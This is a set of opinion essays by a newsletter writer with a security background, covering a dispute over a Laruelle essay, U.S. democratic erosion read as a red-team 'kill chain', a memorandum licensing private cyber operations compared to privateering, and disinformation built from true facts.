From Tbilisi, Hans Gutbrod observed that the apocalyptic register Laruelle files under cultural anxiety reads differently in places where it describes the weather: “unless you think repression, jail & exile are negligible.” The title’s thesis dissolves on contact with an address. Apocalypse is a comfort only at a distance; nearer the border it is a forecast.

The transmission side was just as legible. The Financial Times’ Edward Luce passed the essay to his readers with two words, “Excellent piece,” and no caveat aboard. Dave Troy, a serious researcher whose work I have cited, shared it with the worry that “some might abuse her sentiments” attached, and the post drew five thousand views and twenty-five reposts anyway. The caveat is the toll a careful sharer pays at the bridge; the payload crosses with him. Troy forecast the abuse and performed the amplification in the same post, friendly proof that utility and intent travel on separate tickets. He is also the essay’s ideal reader in miniature: the sophisticated skeptic for whom finding symmetry between enemies demonstrates independence from both camps. The essay pays its sharers in sophistication and collects in reach.

Some of those readers counsel silence. Troy himself suggested Snyder let it be, on the theory that the public sphere is large and has room for many ideas. The room does. The microphone does not. Two days of ‘letting it be’ produced caveat-free passage into mainstream Atlanticist feeds while the specialist objections idled at twenty reactions on LinkedIn, and the platform’s own principals spent those days soliciting the “debate” they had published, which is not a conspiracy, just marketing.

Waiting this one out means watching it harden.

♦

The essay is a specimen, and the species is spreading. Regardless of intention, its comparative architecture creates a reputational effect disproportionate to its stated claims. What Laruelle has produced is a disqualification instrument with deniability at every joint. Each sentence survives fact-checking. The stigma rides entirely on juxtaposition and recoding, on an accounting that audits only one side of the moral ledger.

None of this should be unfamiliar to my readers. Two weeks before Laruelle’s essay ran, I published a piece on the figure I called the honest curator: the professional who fabricates nothing because the lie lives in the hanging, in what gets left at the door and what stays crated in the dark. I did not expect so prompt a sitting for the portrait. The deletion test is the curator’s question asked of prose, what stayed in the crate, and the answer here is Dugin’s record and the brake that appears in her other recent essay. Fact-checking is the authenticator walking those rooms, armed with a science that answers one question, is this real, and a roomful of authentic things gives it nothing to find.

Each of Laruelle’s sentences is a genuine canvas. The essay is the hanging. Hers is the artisanal version of something the industrial information war produces in bulk, and the standard responses to it fail on schedule. Answer it with counter-disqualification, with speculation about the author’s motives or associations, and you have validated its premise while losing on craft — a naked ethos attack always loses to an armored one. Answer it with silence, and the frame sets.

One response works: exposure. A maneuver that depends on passing as analysis has a single point of failure, which is a reader who can see the machinery. The deletion test does most of the seeing; the exhibit tags do the rest, recording whose atrocities go unmentioned and whose grief gets the tender paragraph. The disclaimer over the entrance contradicts the architecture behind it. Once seen, the effect does not recover. A response such as this essay is the rival exhibition I explained would be both necessary and tough to pull off.

There is a larger reason to insist on this discipline. A public sphere in which every scholar is answered with an insinuation and every inconvenient essay with the question of who it really serves is a purchased outcome rather than a hypothetical dystopia, the explicit objective of a doctrine that never needed anyone to believe Moscow’s version of events, only to believe no one’s. Mutual disqualification is the equilibrium someone else has spent two decades and considerable budget trying to buy. Refusing to fight on that terrain looks like squeamishness and is actually the whole fight.

Snyder has taken his share of criticism from serious people, delivered straight, and straight is how it should arrive. What he does not deserve, and what no scholar deserves, is a hall of mirrors dressed as historiography.

♦

In my profession, practitioners are paid to betray their employers on a schedule.

The service is called a red-team engagement: a company hires a group of specialists to attack it in earnest, to think as its enemies think, to find unlocked doors and unexamined assumptions, and then, having broken in, to explain precisely how it was done. The arrangement sounds perverse until you grasp its premise, which is that no institution knows itself. An organization’s brochures describe its intentions; only an intruder can describe the institution as it actually stands. The report that concludes such an engagement makes strange reading for the executives who commissioned it — a burglar’s diary of their own house — and it is, in my experience, the only document they ever fully believe. Mere vulnerability assessments rarely carry similar gravitas.

For some years now the United States has been undergoing the involuntary version of this exercise, and so, in varying stages, have the other liberal democracies. The campaign against independent agencies, prosecutorial independence, the civil service, the separation of powers, and the plain text of constitutional provisions such as the Emoluments Clause has been reported, correctly, as a catastrophe. What the current coverage rarely considers is the professional’s second thought: that an attack is also an audit, conducted in bad faith but rigorous beyond anything the defenders would ever have commissioned for themselves. The findings of a hostile assessment are not less true for the hostility. They are only more expensive.

The Framers, it should be said, were not naive about any of this. Madison was arguably the first American threat modeler. “If men were angels,” he wrote in Federalist No. 51, “no government would be necessary”; the entire scheme of checks and balances is a design against the malicious insider, ambition arranged to counteract ambition.

The trouble, we now discover, lies not in the theory, but in the wiring.

♦

The Emoluments Clause forbids a president to profit from foreign powers, and then names no enforcer, prescribes no penalty, and establishes no process — a “No Trespassing” sign posted over an open field. The independence of the Justice Department, which most Americans assume to be structural, appears nowhere in the Constitution and scarcely anywhere in statute; it is a post-Watergate courtesy that endured exactly as long as every president consented to observe it. Inspectors general, the government’s internal auditors, may be dismissed upon little more than a notice to Congress. The emergency-powers statutes permit a president to assume extraordinary authorities more or less alone, while reclaiming them requires majorities proof against his veto. Congressional subpoenas proceed at the pace of litigation, which converts obstruction into a form of participation. And Hamilton confessed the deepest dependency in 1788: the judiciary, he wrote in Federalist No. 78, has “neither FORCE nor WILL, but merely judgment,” and must rely upon the executive arm even for the efficacy of its rulings. This was less a warning than a description of the system’s final assumption — that the man commanding the executive arm would consider himself bound.

The litigation record of the present administration has tested that assumption with a thoroughness no political scientist could have arranged. The lower courts performed almost exactly as designed. Federal district judges ruled against the administration at rates approaching 96 percent in certain months, and the pattern held across the bench: by one Stanford analysis, Republican appointees ruled against it nearly as often as Democratic ones. Those rulings then ascended. By one prominent court watcher’s count, thirty-nine administration matters reached the Supreme Court in the first year, every one a case the government had already lost below, and the justices sided with the government in thirty-six, chiefly by way of the emergency docket, in interim orders sometimes a paragraph in length, frequently unexplained, issued without full briefing or argument. In my trade we would say that judicial review carries a single point of failure at its apex, and that the shadow docket operates as an undocumented administrative interface: the override that leaves no log. The metaphor is a bit ugly, but it holds. Perfect detection in the lower tiers of a system means very little if one privileged hand can silence the alarm.

♦

Gather the findings and the executive summary runs to a single line: the republic ran on the honor system. A norm, after all, is an expectation of shame, and it binds only those vulnerable to shame and its effects. For two and a half centuries, we mistook etiquette for architecture. We confused the fact that no president had done a thing for the existence of some mechanism preventing it. In my field, ‘no one would ever do that’ is the core assumption that every insider-threat incident report exists to refute; the belief held right up until the moment someone trusted did. Constitutional history is no different.

Nor is the discovery an American possession. Hungary submitted to the same procedure years ago: courts captured, civil service hollowed, press delegitimized, opposition prosecuted, and elections re-engineered so that the ruling party could not lose them. Poland endured a variant, and Turkey now hosts the mature strain. Were this malware, we would call it one codebase with regional forks.

My industry long ago learned what to do when the same tooling appears across victims: publish the indicators of compromise, warn the sector, and let the defenders at the next target harden their systems before contact. The banks manage this without embarrassment. The democracies, oddly, still treat each backsliding as a private shame, even as the authoritarian playbook circulates openly between capitals. There is no reason the defense should travel more slowly than the exploit. As for Hungary, hold that thought. Its story turned this spring, and I will come back to it.

♦

My old firm kept a diagram for this. Every firm in my industry keeps one. They can be labeled kill chains, attack matrices, or lifecycles; the dialects differ, but the grammar doesn't. The version I learned came from Mandiant (acquired by Google), which built its name on incident response. My own work there ran to strategy and detection, the question of how to notice an intruder no one expected and how to reliably keep them out, but the diagram was the lingua franca whatever your specialty. It taught us to read every intrusion as a lifecycle: reconnaissance, compromise, foothold, escalation, lateral movement, persistence, mission. Its discipline was that nothing an attacker did was ever senseless; each act was a stage, and each stage prepared the next.

Lay the template over the past decade and the fit is disquieting.

The reconnaissance was conducted in the open: a nine-hundred-page inventory of the government’s soft points, published under the name Project 2025, with the first term having served as reconnaissance in force. The initial compromise required no breach of the perimeter at all. In my trade’s taxonomy, it was an insider event. The intruder came through the front door holding valid credentials, as the defenses of 1787 were drawn against usurpers, and the election was the phish that worked.

The foothold went in during the first days: the executive orders, the inspectors general dismissed at a single stroke, the acting officials seated where the Senate had confirmed no one. Privileges escalated by emergency declaration and by a theory of the unitary executive that the shadow docket ratified one emergency stay at a time; and it was here that the young engineer-saboteurs of the Department of Government Efficiency entered the record and were handed administrator access to the Treasury’s payment rails and the government’s personnel files, a grant of privilege that a hired red team spends weeks negotiating and rarely receives in full.

Internal reconnaissance followed, as it always does — loyalty reviews and the lists of agents and prosecutors who had touched disfavored cases — and the lateral movement continues as I write: outward from the executive core into the independent agencies, the universities, the law firms, the broadcasters, the states, each new position put immediately to work against the next.

Persistence, the art of remaining, arrived on schedule: judicial appointments, the conversion of the civil service, acting leadership with no intention of acting briefly. The final stage the analysts call completing the mission; the reader has already met its Hungarian translation.

♦

There is one stage more, and the country has reached it.

The older kill-chain charts, the ones Lockheed Martin drew when the vocabulary was young, list a step the newer diagrams fold silently into the others: covering tracks. Every competent intruder clears the logs at some point during the intrusion because evidence is the key substance that can convert a breach into a legal case. Consider, in that light, what has been happening to the government’s evidence.

The statistical agencies have been hollowed and their inconvenient numbers disputed or discontinued; public datasets have been purged from the record; confidential files have been seized and commingled by the same efficiency engineers who held the keys to the payment system. And this August the Treasury went further, announcing that it would not merely cease maintaining the registry of shell-company ownership that Congress obliged it by statute to keep, a ledger built so that investigators could follow money through the nesting dolls of anonymous corporations — but would also destroy the data already gathered so that no later administration could consult it. One of the law’s congressional champions compared the act to deleting the FBI’s fingerprint files. My trade calls this anti-forensics and a prosecutor would call it spoliation of evidence. Either way, the intruder is deleting the logs on their own behalf and that of every intruder still to come.

Here is where the analogy gives out. A contracted red team operates under consent and scope; it stops on command, documents everything, and might even make itself available to sit with you afterward through the repair. Yet no one consented to this engagement, and the damage is not being absorbed by an abstraction called the constitutional order. It is being absorbed by people.

The inspectors general dismissed en masse in the administration’s first days were not weaknesses in a diagram; they were public servants with staffs, mortgages, and unfinished investigations. Prosecutors purged for having done their jobs, scientists whose work stopped mid-grant, career civil servants dismissed by form email after decades of service, and men flown to a foreign prison without so much as a hearing — none of them will be made whole by the quality of the lessons the rest of us manage to draw. A breach report is written about servers, and servers do not grieve. So let the vocabulary of incident response be used with care: we are not reading a report, the intruder is still on the network, and the casualties are not figures of speech.

♦

Responders carry an important certainty rarely granted to spectators: incidents end. After sixteen years, Hungary’s may have just ended. This April, in the largest turnout in the country’s democratic history, Hungarians voted out the man who had engineered elections he could not lose and handed the opposition the two-thirds supermajority he once used to rewrite the constitution. The architect of his own ostensibly unlosable election was forced by the will of the citizenry to concede on a Sunday night.

Recovery there is only beginning. The machine’s builders have not left town. But the fact stands, and it is the most hopeful fact in this essay: stage nine is a design goal, not a law of nature. What distinguishes the institutions that emerge hardened from those breached again by similar exploits is the least glamorous rite of the profession, the lessons-learned review. The defense, it happens, keeps a lifecycle chart of its own (detect, respond, recover, and a modest box the flowcharts label improvement) and the country has been moving through it without benefit of the vocabulary: the district courts as detection, the lawsuits and the protests and the ballots as response, recovery pending, and everything this essay argues for crowded into that last box.

A vulnerability disclosed and patched justifies the pain of its disclosure. A vulnerability disclosed and ignored is worse than one never found at all: the flaw is public, the fix is waiting, and attackers read disclosure lists the way burglars once read obituaries, looking for the houses everyone knows are empty. The case for a silver lining rests there. The price of these findings has already been paid by We the People; the only question that remains open is whether the country collects what our losses bought. And it is worth recalling what these lifecycle charts were drawn for: admiring the kill was never among their uses. The chain is charted so that a defender who can name its stages can find the cheapest place to break it. A chain broken at any link fails at every link downstream; interdiction is the entire doctrine.

♦

The assessment phase has concluded; no one may any longer plead ignorance of the attack surface. We hold a defect list for the constitutional order itemized the way my industry itemizes software flaws: affected component, attack vector, and patch status. The remediation queue arrives pre-sorted by severity. Norms must be promoted to statute. Clauses that name no enforcer must be given one, together with someone possessed of standing to invoke it. The institutions must be compartmented, so that the capture of one cannot proceed by trust into the rest — what Madison called ambition counteracting ambition, my colleagues and I call segmentation; the insight is identical. Transparency and the keeping of records must be understood as a government’s logging: the tedium that makes the eventual reckoning legible and the first thing an intruder deletes. And the reckoning itself belongs to recovery rather than to revenge: contain the intruders, restore the service, rotate the credentials, and close the hole by which they entered.

What Budapest actually did this spring deserves a paragraph of its own, because the method travels. Orbán's machinery rested on one structural assumption: that of a fragmented opposition, since the rules were drawn to convert division into supermajorities for the ruling party. Péter Magyar's answer was to deny the exploit its precondition. He collapsed the opposition into a single disciplined vehicle rather than a quarreling coalition, and then ran a campaign that the old playbook of smears and captured media could not manage to subvert. The margin did the rest; an election turnout too large for any manipulated skew of the districts to absorb. A rigged system, it turns out, has a rated load.

Analysts will savor the final detail: Magyar was a defector from the regime itself, a man who knew the machine from the inside. The recovery, like the intrusion, was an insider event. Hungarians did not wait for fair rules before contesting them. They beat the ruler under rules he wrote, and the prize is the instrument that built the machine: a supermajority that can amend the constitution at will. My trade calls that level of control root or ring 0, and its meaning is simple enough: whoever holds it can rewrite the system itself. For a decade and a half the intruder held it. Now the defenders do.

♦

Franklin’s famous dare, “a republic, if you can keep it,” has generally been read as a warning, but it is better read as a work order. The apple cart lies on its side, and it did not tip itself; but anyone who has rebuilt a network after a total compromise will confess the guilty consolation of wreckage, which is that one finally gets to build the thing as the diagrams always pretended it was built. The beauty can be in the arrangement, once we gather together to right it — provided that, this time, we patch as we go.

The Hungarians, this spring, showed us how.

♦

It was piracy with paperwork, and the paperwork did two jobs.

The shipowner posted a bond at the customs house, five thousand dollars, or ten if he shipped more than a hundred and fifty men, insuring the government against his misconduct. And the commission he received in exchange converted his crew, if captured, from candidates for the gallows into prisoners of war. The paper told the enemy that these men fought under a flag, and that the flag answered for them.

The arrangement made fortunes in Baltimore and Salem, and in both of the young republic’s wars with Britain the private commissions outnumbered the navy’s own hulls. It also made Captain Kidd. William Kidd sailed from London in 1696 carrying a privateering commission under the Great Seal, financed by four peers of the realm, and when the politics turned, his backers discovered they had never really known him. He was denounced as a pirate and hanged at Execution Dock in 1701, his tarred body hung in a gibbet over the Thames as a caution to sailors.

Kidd’s fatal error was believing that the sovereign’s protection lived on paper rather than in the sovereign’s convenience.

On August 12, the White House revived the business model. A new presidential memorandum titled “Expanding Capabilities to Combat Transnational Cyber-Enabled Crime” directs the creation of a program under which “Participating Companies,” private American firms vetted and contracted by the Departments of Justice and Homeland Security, will conduct “Cyber Surveillance Operations” and “Cyber Effects Operations” against foreign criminal networks, under federal direction. Each company must maintain a bond or escrow of at least one million dollars against misconduct. The customs house has moved to an office park, but a Baltimore shipowner of Madison’s day would recognize the paperwork at a glance.

The memo’s two operational terms deserve translation, because both are considerably gentler than their definitions. “Surveillance,” in ordinary legal usage, means watching: the camera on the pole and the tap on the line. It is a warrant word, passive down to its grammar. The memo’s Cyber Surveillance Operations are defined as entering information systems “without authorization from the owner or operator” with the intent to remain undetected, including whatever “manipulation or temporary disruption” is needed to get in and stay in.

Outside of government, that activity has a shorter name. Federal prosecutors have been sending people to prison for it for forty years. “Effects” is softer still. In military doctrine, cyber effects is the polite term of art for computer network attack, and the memo’s definition reaches past data to the “manipulation, disruption, denial, degradation, or destruction” of physical infrastructure controlled by information systems, which is to say pumps, valves, breakers: the machinery that computers command. In any document not written by the party intending to do it, this is called sabotage.

Our shipowner would notice other differences. The Constitution assigns the power to grant letters of marque and reprisal to Congress, in the same clause as the power to declare war, on the theory that licensing private violence against foreigners is the sort of decision a republic should argue about in public. Reprisal was the older and stranger instrument: a peacetime license for a citizen who had been injured by foreigners and denied justice in their courts, entitling him to seize their countrymen's property until the account was square. No war was required, only the injury. A program that licenses private parties to collect on foreign injuries short of war is this memorandum's business to the letter, and the framers refused even that lesser power to the president.

Privateering itself was formally abolished by the Declaration of Paris in 1856, the treaty the European powers signed at the close of the Crimean War, whose first article reads, in its entirety, “Privateering is, and remains, abolished.” The United States declined to sign, reserving the option, and then never exercised it again. Congress, for its part, has been offered private hack-back legislation repeatedly over the past decade and has repeatedly let it die.

This July it was offered the genuine article. Senator Mike Lee’s (R-UT) Cyber Letters of Marque and Reprisal Act and its identical corresponding House legislation introduced by Congressman Tim Burchett (R-TN) would have the President commission private hackers under the constitutional instrument itself, bond, bounties, and all. It even remembers the shield: holders of the letters could not be sued for what the letters authorize. The bill has the virtue of candor, licensing what its sponsor calls "digital privateers" and petitioning the branch that owns the power. Section 6 automatically extends cyber letter-holders into sea, land, air and space operations if Congress authorizes traditional letters for those domains — the drafters treat cyber commissions as one vote away from kinetic ones.

The memorandum arrived four weeks later without waiting for an answer: a commission with a classified annex, administered through a National Coordination Center that was established by last year’s immigration enforcement order. The White House's position is that no letters are being issued at all: the program is styled as "lawful investigatory, protective, or intelligence operations carried out by Federal law enforcement," its companies cast as ordinary contractors, constitutionally no more interesting than the firm that caters the cafeteria. By that reading, a privateer is a vendor.

In March the administration's cyber officials had assured reporters they had no interest in "fighting pirates with pirates." The paperwork for hiring them followed within five months without statute, debate, or a public list of “designated cyberthreats” as would have been required by the Cyber Letters of Marque and Reprisal Act.

To see what the program asks of its participants, a layperson needs exactly one idea from the law of armed conflict. The whole of that law is laid on a single keel: distinction. Combatants may kill and be killed. Civilians may do neither, and in exchange they may not be targeted. A civilian who takes up arms, or a keyboard employed as one, loses that protection for as long as she directly participates in hostilities, and she gains nothing in return. She may be attacked like a soldier and prosecuted like a criminal. It is the worst seat in the house, and the Tallinn Manual, which passes for the rulebook of cyber conflict, extends it without much strain to people who conduct cyber operations on a state’s behalf. The bargain runs on reciprocity, on each party’s wager that the categories it honors will be honored in return, which means a nation’s conduct doubles as its correspondence: every strike is a memorandum on what the rules now are.

Consider the memoranda the United States has lately been circulating.

Over the past year and a half the administration has gutted the Pentagon offices created to reduce civilian casualties, cutting the military’s Civilian Protection Center of Excellence from forty people to nine. Its forces have destroyed dozens of small boats in the Caribbean and eastern Pacific, killing the accused smugglers aboard without charge or trial; when a monitoring group tried to submit civilian casualty documentation to Southern Command, it was told the command had no mechanism for receiving it. And on the first morning of the Iran war, an American Tomahawk struck the Shajareh Tayyebeh girls’ elementary school in Minab, killing more than 150 people, most of them children. The president attributed the strike to Iran, whose munitions, he explained, have “no accuracy whatsoever.”

Iran does not field Tomahawks.

Adversaries read this correspondence closely, and they will not squint at the civilian category on behalf of an American contractor discovered in their networks. The contractors will be discovered there as instruments of the state. The memorandum repeats, almost anxiously, that every operation will be “exclusively conducted on behalf of and under the supervision of the Federal Government.” Domestically the sentence is exculpatory: it is what keeps a Participating Company’s engineers on the right side of the Computer Fraud and Abuse Act. Internationally it is a return address. Under the customary rules of state responsibility, acts carried out on a government’s instructions are acts of that government, and the people carrying them out are its agents. The clause that spares the operator an American courtroom is the clause that presents him, to a foreign general staff, as an arm of the United States.

The drafters of this memo appear to have surveyed the tripwire themselves, as its exact coordinates can be found within the definitions section: the program’s executive directors “may not approve operations resulting in Critical Outcomes,” meaning those likely to cause death or serious injury, or to “rise to the level of use of force or armed attack under international law.” There is the exact threshold at which nations may lawfully answer with military force, named in a presidential memorandum, and beneath the prohibition a false bottom: the directors may not approve such operations, and about who may, the document says nothing.

The bar itself is a forecast. An operation is blocked only if it is “likely” to kill or to cross the line, a judgment rendered in advance, in Washington, about systems the government does not own in countries it cannot inspect. Minab has established the going rate for such forecasts. The school was ostensibly struck because it sat on a target list built from stale, years-old intelligence, from an era when the building had belonged to the adjacent Revolutionary Guard base. Newer imagery showed a fence and a separate entrance, and photographs taken ten weeks before the strike showed the courtyard filled with people at play. Commanders, according to subsequent reporting, were warned the data was stale and proceeded anyway.

The corporate operators will sit downstream of this machinery, not outside it. Under the memorandum, government agencies name the threats and the companies assemble their target packages on standardized templates. The intelligence beneath those packages comes from the same wells that produced the Minab coordinates.

The Pentagon has meanwhile been replacing the human assessors it cut with artificial intelligence, and the memorandum, in the same spirit, instructs the program to “utilize automation to streamline Program elements wherever appropriate.” The species of error that promoted a girls’ school to a naval facility will ride this program’s paperwork as well. Automation shortens the interval between the mistake and the damage, and the damage will land in shared quarters: a hospital might share a rack with a bulletproof hosting outfit; a water utility runs the same industrial controllers as a crime group’s mining operation. Meanwhile, the memorandum only provides procedures for deconfliction across the departments and the intelligence agencies.

Whom, exactly, will these companies be hacking? The memorandum limits the program to foreign criminal groups that are not part of a foreign government, and it instructs that a group be presumed independent “unless clear intelligence exists” proving a state connection. On first reading the presumption looks like a restraint, but it is closer to a skeleton key.

The most damaging cybercrime enterprises are damaging precisely because governments shelter them. Russian services tolerate the ransomware crews and occasionally task them, and the scam compounds on the Myanmar border answer to militias allied with the junta. North Korea’s fraud apparatus is not adjacent to that state; it is a line item in its budget. The connection is real and concealed on purpose, and anyone who has worked attribution knows how rarely the intelligence is clear. So the presumption does not steer the program away from state-protected targets. It authorizes operations against them by default, resolving on paper an ambiguity no one can resolve in fact. An American company will be cleared to break into a network that Washington has classified as criminal and that Moscow or Pyongyang quietly considers its own, and the company will learn which kind of network it was inside from the nature of the response. Nothing obliges the response to arrive through a lawyer.

Nor is a harder kind of response hypothetical. In 2015 the United States killed the Islamic State’s black hat hacker and propagandist Junaid Hussain with a drone strike, having concluded that a man at a keyboard was a lawful military target. In 2019 Israel answered a Hamas cyber operation with an airstrike on the building where the operators worked, and announced it on social media. The precedent exists, and the opening entry is American: states have already decided that cyber operations can be repaid in ordnance. What this memorandum changes is not the principle but the personnel. Until now, the people on that particular target list wore uniforms or pledged themselves to terrorist organizations. Within months, under contracts now being drafted, some of them will carry corporate badges and stock options.

Here the comparison to 1812 stops flattering the present. The privateer’s commission was a shield as well as a license; it bought his crew prisoner-of-war status, a promise that capture meant confinement rather than a rope. A presidential memorandum can confer no such thing, because combatant’s privilege is not Washington’s to grant by memo. The engineer of a Participating Company who is detained in a third country is a criminal defendant. The one whose operation a foreign government chooses to call an armed attack, or whose employer’s office park a foreign government chooses to call a military objective, has no status at all, only a job title. Kidd’s commission bore the Great Seal of England, and it protected him for exactly as long as his sponsors found him useful. These operators will hold contracts with two cabinet departments and the protection, in the moment it matters, of neither.

A uniform is a letter addressed to the enemy, and it says one thing: this one you may kill, and in exchange you will spare the rest. The memorandum issues no such letters. It offers the mission and the pay, the flag’s direction without the flag’s protection, and it will find takers, because the work is fascinating and because Americans have never fully believed that the wars we conduct at a distance can arrive at the office.

The five-thousand-dollar bond of 1812 insured the government against the privateer’s misconduct. The million-dollar escrow of 2026 does the same.

No one, then or now, thought to insure the crew.

♦

I love AI in the way an unrelenting autodidact loves a thing that never gets tired of its questions. This is my confession.

♦

The confession continues behind closed doors. The tech industry might be burning billions, but reading the rest of this essay won't cost you a dime.

Please sign in or subscribe for free to read the rest of the essay.

Subscribe now

Every age knows how to catch one kind of liar: the forger.

He’s undone by some small flaw he couldn’t help leaving — a pigment his master never owned, a craquelure of fine cracks too even to be the work of time. His fraud rests on that particular counterfeit, so it falls the moment a patient eye finds it. Him, we catch.

Beginners imagine the power sits in the size of the claim, but they have the physics backward. The bolder the fake, the harder it leans on a falsehood any idler can topple on a slow afternoon without getting up from his chair.

In July 1983, an Indian newspaper called Patriot — a quiet outlet for Soviet dezinformatsiya, though almost nobody outside Moscow knew it — ran a letter from an unnamed American scientist. The letter claimed the virus behind AIDS had been engineered as a weapon at Fort Detrick, the Army’s lab in Maryland. It grew into one of the most famous lies of the Cold War.

It also broke the idler’s rule. No slow afternoon ever brought it down.

Moscow supplied the laboratory. The fear it needed was already here. The conviction that the government had built the plague and loosed it intentionally was alive within the Americans with the most reason to hold it: the gay men dying while the administration looked away and the Black readers who remembered Tuskegee. The decade just behind them had furnished the rest — agencies caught dosing their own citizens with LSD and plotting the deaths of foreign leaders.

Little had to be invented because the experiments were real. New allegations only required the story to be extended.

The suspicion was already hanging; the KGB’s work was to give it a fixed address. Three years in, Moscow produced a willing biologist from East Berlin to vouch for the science, and British tabloids and American cranks carried the thing the rest of the way around the world. The country that launched the lie has been gone for decades, while the lie hasn’t. It still spreads, and still talks people out of the testing and treatment that would keep them alive.

The invented part was the fragile part — the only part a debunker could successfully seize. The grievance beneath it and the arrangement above it gave the thing its long life. The craft’s best students noticed. They kept those two and let the invention go.

Today, the professional fakes nothing. He works the way a curator works, except his pictures are facts, every one true, every one certain to survive inspection. The art is all in the hanging, in what he sets at the door and what he leaves crated in the dark. In where the light falls, and where it is allowed to fail. Around it all, he fits a frame so quiet you never think to look at it.

You study the paintings. The frame is the one thing no visitor examines. After all, that is the entirety of what a frame is for. So, where is the lie? Not visible on the walls. The lie lives in the arrangement.

One true picture set beside another could imply a third that nobody painted, and the worst lie of all may live as omissions on canvases that never left the crate. A show like this outlasts a forgery because nothing in it can be readily exposed. Walk the finest authenticator alive through these rooms and she will call every canvas genuine, because every canvas is. Her science answers one question (whether a thing is real) and a roomful of authentic things gives it nothing to find. Their realness acts as an effective disguise.

Worse: her visit can’t save the rest of us. That visit recruits us.

The careful viewer does the very thing we’ve begged of him for twenty years. He checks the provenance. He finds every attribution sound. He then leaves a believer, doubting no part of the hanging. I looked into it, he says. It’s all genuine. Each painting has been authenticated. His care has made him the exhibition’s most trusted witness.

Through the summer and fall of the ill-fated year Trump ran against Clinton, Russian military intelligence broke into the mailboxes of one side of an American election and released what it found — and the pages were real. This show drew the largest crowd in the craft’s history. There was no fake laboratory in the batch for a debunker to seize. The operation was curation end to end: which correspondence to release, which to keep crated; a first tranche timed to the eve of the party’s own convention; and then, on the October afternoon a surprise tape surfaced of the other candidate boasting what he could do to women, a new crate thrown open and emptied onto the walls within the hour to draw the crowd off. The drip ran nearly every day for a month.

And the press did what the careful viewer does. Reporters checked the cryptographic signatures on the stolen mail, pronounced it genuine, and were right. Their verification ran beside every excerpt like a curator’s card, and a country walked the rooms in the order a foreign service had hung them. The hands that arranged that show served the same state that had planted the Fort Detrick letter a generation before. The apprentices of the forged lie had grown into curators of the true one.

Try to correct such a show, and you immediately sense the asymmetry at work. Against a forgery, the answer is a verdict: the canvas is fake, here is the proof, and it fits on one line. Against a hanging of genuine work there is no verdict, because nothing is fake. To answer it, you’d need to mount and advertise a rival exhibition by uncrating everything he buried and relighting the rooms he kept dim — weeks of labor set against the easy stroll it took to believe him. You end up gesturing at crates nobody opened, but an unhung picture is the toughest thing on earth to make a visitor see.

Because no court convicts a man for hanging real paintings, the law can’t touch him. The indictments that eventually reached the men of 2016 named the break-in, not the show. Inspectors pass him by. They were trained to catch forgery, a crime he studiously avoids committing. Even the authenticator ends up working for him, her certificate of genuineness lifted from the page and hung beside the entrance as praise. He comes with a show, planned and produced. You come with a footnote. Why would anyone choose the footnote over the show?

What he hangs in a room, he also hangs in your head. A fake, once spotted, comes down, but the frame persists; it becomes the way you see. Walk his rooms in his order, and you carry the arrangement out the door with you. Every new picture you meet for the rest of your life gets hung on his wall, in his light. The eye he trained to find composition now completes his composition for him. Repetition settles the rest — a thing seen three times hangs in the mind as fact, and genuine pictures are the easiest of all to show again. Even a debunking, on the rare day one lands, leaves the arrangement up. He never has to defend the show. It just stays there, year after year, at times with nothing to take its place.

The scholars have long had names for the parts. Framing, for the choice of light. Paltering, for the lie built entirely of true statements. And the old services learned the practice generations ago when their cleverest men stopped painting fakes and started curating real ones. They never had to paint a country’s ugliest pictures as the country had hung those itself. The work was to light them and march the crowd past in the right order. The most skilled of those men never told you what to make of the rooms. They built the rooms so you’d reach the verdict they’d chosen and leave the museum believing the path was yours.

Nor is the point, usually, to make you swallow one particular fake. The cruder regimes still try for that. The subtler ones wish for you to doubt that any canvas anywhere is real, and to leave you absolutely certain that every gallery in the city is a swindle and every curator, on the take. Peter Pomerantsev, who spent years inside the Russian television industry, found the phrase for what that produces — a world where nothing is true and everything is possible.

The old censorship emptied the walls. The new stuff floods the city with rival art shows until no one can say which gallery holds the real thing. Set two confident, opposite exhibitions side by side, each genuine down to the last canvas, and a partisan of either can audit his own walls to the decimal and still walk out certain it’s the other gallery that lies. Thucydides documented an older form of the collapse on Corcyra twenty-five centuries ago, when civil war pulled the meaning out of words the way a rival hanging pulls it out of pictures. Reckless aggression got relabeled courage. Level-headed caution became cowardice. The city lost the shared speech it needed to talk itself back.

A caught fake actually does the museum a kindness. It sharpens the authenticators. It becomes the cautionary tale every apprentice gets taught, and exposure leaves everyone a little harder to fool. The honest curator teaches the reverse, and he teaches it to the most diligent first: that a wall of authenticated masterpieces can still be a lie. That genuine and honest were never the same word. No forgery could work that corrosion. It breeds a tired refusal to look, the shrug of people who decided long ago that authenticity was just the name we gave whichever hanging won. And he turns our own defense to his use. The harder we teach a public to authenticate, the more faithfully it will certify his walls.

What once required an intelligence service now takes a laptop and a following. The show that arranges your sense of the world could be hung by anyone — some stranger with a newsletter, the feed you trust most — running the old tradecraft from a kitchen table. Some of those hands are paid. The payment is the part you were never meant to see. Money hires the voice that sounds like a citizen thinking out loud, and it moves through accounts that never have to name their owner. The conviction on your screen may be one somebody bought.

Despite all that, he isn’t the puppetmaster of everything. No one hand holds a culture’s walls, and some of what looks arranged is only the residue of many hands reaching alike. The busiest galleries now hang themselves; curation without a named curator. The feed is a room arranged by the footfall of earlier visitors, rehung by the hour toward whatever held the crowd, and what it holds to matter is typically whatever keeps you in the building.

An algorithmic curator has no thesis and no taste; it has a turnstile. And the turnstile favors the pictures people can’t stop staring at, which are mostly the ones that frighten or insult them. The all-important premise we are supposed to believe is that if nobody chose the show, nobody is accountable for its frame.

None of this has escaped the professional. A mindless curator makes a perfect assistant; he no longer has to hang the room himself, only to supply the canvases its turnstile already favors. But suspecting an arranger behind every frame is no answer either. That’s just hanging his portrait yourself and sinking into the paralysis he’d have chosen for you.

An essay is a hanging, too. This one sets two cases at the door and keeps whole wings of the gallery crated; the light falls exactly where I aimed it. I can plead honest intent — so does every curator — which you cannot validate from inside these rooms. Treat these walls like any others.

There is a defense, though not amongst the paintings. You cannot authenticate a frame because a frame makes no claim and answers to no test. A frame is a verdict about what matters, hung so smoothly it passes for the plain sight of things. The defense begins a step back from the canvas, with a harder question than ‘is this real’ (the question he has already rigged to come back ‘yes’). What stayed in the crate? Why these pictures? Why this room before that one? Who profits when I walk it in this order or that?

